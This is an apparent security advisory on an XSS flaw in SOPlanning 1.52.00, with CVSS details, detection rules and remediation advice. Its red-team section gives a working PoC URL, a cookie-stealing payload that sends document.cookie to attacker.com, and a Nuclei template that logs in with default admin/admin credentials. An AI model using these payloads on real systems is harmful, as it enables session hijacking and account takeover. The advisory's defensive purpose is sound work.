CVE-2024-33724

Executive Summary

CVE-2024-33724 is a stored Cross-Site Scripting (XSS) vulnerability identified in SOPlanning version 1.52.00. The flaw resides in the groupe_id parameter within the /process/groupe_save.php endpoint. An unauthenticated remote attacker can exploit this vulnerability to inject arbitrary JavaScript into the application, potentially hijacking admin or user sessions, stealing credentials, and performing a full platform takeover. The vulnerability is publicly documented with a proof-of-concept (PoC) and a Nuclei template, indicating active exploitation risk. No official patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not associated with an NPM, PyPI, Go, or Ruby package. It affects the standalone PHP application SOPlanning, which is typically deployed as a web application. The risk is primarily to organizations using this software for project planning, as an attacker could compromise the entire platform and access sensitive project data.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed for initial injection.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality Impact (C): Low (L) – Potential for session/credential theft.
• Integrity Impact (I): Low (L) – Malicious scripts can modify content or perform actions on behalf of the user.
• Availability Impact (A): None (N) – No direct impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential for session hijacking and platform takeover elevates the severity. The existence of a public PoC and Nuclei template increases the likelihood of exploitation.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS that can be leveraged for stored XSS if the injected payload is persisted. The groupe_id parameter in the GET request to /process/groupe_save.php is not properly sanitized or encoded before being rendered in the response. An attacker can craft a URL containing a malicious script in the groupe_id parameter. When an authenticated user (including an admin) visits this URL, the script executes in the context of the user's session.

Attack Flow:

1. An attacker crafts a malicious URL: http://target/process/groupe_save.php?saved=1&groupe_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C!--&nom=Project+New
2. The attacker sends this URL to an authenticated user (e.g., via phishing email).
3. The user clicks the link, sending a request to the vulnerable endpoint.
4. The server processes the request and reflects the groupe_id value without sanitization.
5. The browser executes the injected JavaScript (alert(document.domain) in the PoC, but could be a payload to steal cookies or perform actions).
6. The attacker can then hijack the user's session or perform actions on their behalf.

The Nuclei template confirms the vulnerability is exploitable with default credentials (admin/admin), but the injection itself does not require authentication. The groupe_id parameter is URL-encoded in the PoC: %22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C!-- decodes to "><script>alert(document.domain)</script><!--.

Vulnerable vs. Patched Code

Vulnerable Code (SOPlanning 1.52.00): The vulnerable code likely directly echoes the groupe_id parameter without sanitization. A simplified example:

$groupe_id = $_GET['groupe_id'];
echo "<input type='hidden' name='groupe_id' value='$groupe_id'>";

Patched Code (Hypothetical): A patch would involve proper output encoding and input validation:

$groupe_id = htmlspecialchars($_GET['groupe_id'], ENT_QUOTES, 'UTF-8');
echo "<input type='hidden' name='groupe_id' value='$groupe_id'>";

Additionally, a Content Security Policy (CSP) header should be implemented to mitigate XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• SOPlanning 1.52.00 instance (e.g., Docker or local setup)
• Default credentials (admin/admin) or valid user credentials
• A web browser or tool like curl

Exploitation Steps:

1. Craft the malicious URL:

   http://target/process/groupe_save.php?saved=1&groupe_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C!--&nom=Project+New
   

2. Send the URL to an authenticated user (e.g., via phishing email or social engineering).
3. When the user clicks the link, the script executes. For session hijacking, replace the payload with:

   new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;
   

4. Capture the cookie on your attacker server.

Automated Exploitation with Nuclei: The provided Nuclei template can be used to verify the vulnerability:

nuclei -t CVE-2024-33724.yaml -u http://target -v

Blue Team

Detection & Prevention:

1. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing <script> tags in the groupe_id parameter.
2. Input Validation: Implement server-side validation to reject non-alphanumeric characters in groupe_id.
3. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.
4. Content Security Policy (CSP): Add a CSP header to restrict script execution.
5. User Education: Train users to avoid clicking suspicious links.

Hunting for Exploitation:

• Monitor web server logs for requests to /process/groupe_save.php with unusual groupe_id values (e.g., containing <script> or %3Cscript%3E).
• Look for anomalous outbound connections from the SOPlanning server to unknown IPs (potential data exfiltration).

Indicators of Compromise (IOCs)

• URL Pattern: GET /process/groupe_save.php?saved=1&groupe_id=*<script>*
• Network Traffic: Outbound HTTP requests to attacker-controlled servers containing cookies or sensitive data.
• Log Entries: Web server logs showing requests with encoded XSS payloads in the groupe_id parameter.
• File System: Modified or new files in the SOPlanning directory (if stored XSS is achieved).

Detection Engineering

YARA Rule

rule CVE_2024_33724_XSS_SOPlanning {
    meta:
        description = "Detects XSS attempts targeting SOPlanning groupe_id parameter"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-33724"
    strings:
        $xss_payload = /groupe_id=[^&]*<script[^>]*>/
        $encoded_payload = /groupe_id=[^&]*%3Cscript%3E/
    condition:
        any of them
}

Sigma Rule

title: SOPlanning XSS via groupe_id Parameter
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects XSS attempts against SOPlanning 1.52.00 via the groupe_id parameter
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/process/groupe_save.php'
        cs-uri-query|contains|all:
            - 'groupe_id='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33724 SOPlanning XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/process/groupe_save.php"; http_uri; content:"groupe_id="; http_uri; pcre:"/groupe_id=[^&]*<script[^>]*>/i"; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2024-33724

info:
  name: SOPlanning 1.52.00 Cross Site Scripting
  author: s4e-io
  severity: medium
  description: |
    SOPlanning v1.52.00 is vulnerable to XSS via the 'groupe_id' parameters a remote unautheticated attacker can hijack the admin account or other users. The remote attacker can hijack a users session or credentials and perform a takeover of the entire platform.
  impact: |
    Authenticated attackers can inject malicious scripts via the groupe_id parameter, potentially hijacking admin or user sessions.
  remediation: |
    Update SOPlanning to a version that patches the XSS vulnerability.
  reference:
    - https://packetstormsecurity.com/files/178434/SOPlanning-1.52.00-Cross-Site-Scripting.html
    - https://github.com/fuzzlove/soplanning-1.52-exploits
  metadata:
    verified: true
    max-request: 2
    vendor: soplanning
    product: soplanning
    shodan-query:
      - html:"soplanning"
      - http.html:"soplanning"
    fofa-query: body="soplanning"
  tags: packetstorm,cve,cve2024,authenticated,soplanning,xss,vuln

http:
  - raw:
      - |
        POST /process/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login={{username}}&password={{password}}

      - |
        GET /process/groupe_save.php?saved=1&groupe_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C!--&nom=Project+New HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    attack: pitchfork

    payloads:
      username:
        - admin
      password:
        - admin

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 200"
          - 'contains_all(body_2, "<script>alert(document.domain)</script>", "SOPlanning")'
        condition: and
# digest: 4b0a00483046022100d53ef1786b72cdae0133ba5343e9f878d6daaf91e75820a1a007f7daca72047f022100f0398464c19b4564c5557f2cca96ca45079a5ffa52b8201d207a1cefbceb8ba4:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Apply Input Validation: Sanitize the groupe_id parameter to allow only expected characters (e.g., alphanumeric and underscores).
2. Output Encoding: Use htmlspecialchars() or equivalent to encode all output.
3. Web Application Firewall (WAF): Deploy a WAF rule to block XSS payloads in the groupe_id parameter.
4. Content Security Policy (CSP): Implement a strict CSP to prevent inline script execution.

Long-Term Fix:

• Vendor Patch: Contact SOPlanning for an official patch. If unavailable, consider migrating to an alternative solution.
• Code Review: Conduct a security audit of the entire application to identify similar vulnerabilities.
• Security Headers: Add X-XSS-Protection: 1; mode=block and X-Content-Type-Options: nosniff headers.

Workaround:

• Disable the groupe_save.php endpoint if not required, or restrict access via .htaccess or server configuration.

Valters IT
Securing Digital Frontiers